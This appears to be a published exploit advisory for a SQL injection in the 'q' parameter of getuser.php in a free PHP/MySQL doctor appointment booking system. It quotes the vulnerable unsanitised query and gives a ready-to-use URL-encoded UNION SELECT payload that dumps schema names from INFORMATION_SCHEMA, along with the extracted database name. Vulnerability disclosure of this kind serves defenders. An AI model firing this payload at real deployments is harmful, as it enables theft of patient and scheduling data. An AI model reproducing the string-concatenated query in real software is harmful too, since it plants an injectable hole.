Online Doctor Appointment Booking System PHP and Mysql 1.0 – ‘q’ SQL Injection
# Exploit Title: Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection # Google Dork: N/A # Date: 11/16/2020 # Exploit Author: Ramil Mustafayev # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-doctor-appointment-booking-system-php-and-mysql/ # Software Link: https://projectworlds.in/wp-content/uploads/2020/05/PHP-Doctor-Appointment-System.zip # Version: 1.0 # Tested on: Win10 x64, Kali Linux x64 # CVE : N/A ######## Description ######## # # An SQL injection vulnerability was discovered in PHP-Doctor-Appointment-System. # # In getuser.php file, GET parameter 'q' is vulnerable. # # The vulnerability could allow for the improper neutralization of special elements in SQL commands and may lead to the product being vulnerable to SQL injection. # ############################# Vulnerable code: include_once 'assets/conn/dbconnect.php'; $q = $_GET['q']; // Vulnerable param // echo $q; $res = mysqli_query($con,"SELECT * FROM doctorschedule WHERE scheduleDate='$q'"); // Injection point Used Payload: http://localhost/[PATH]/getuser.php?q=1%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20NCHAR%29%2C0x20%29%2C0x7176627871%29%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23 Output: Extracted database: qbqvqdb_healthcareqvbxq |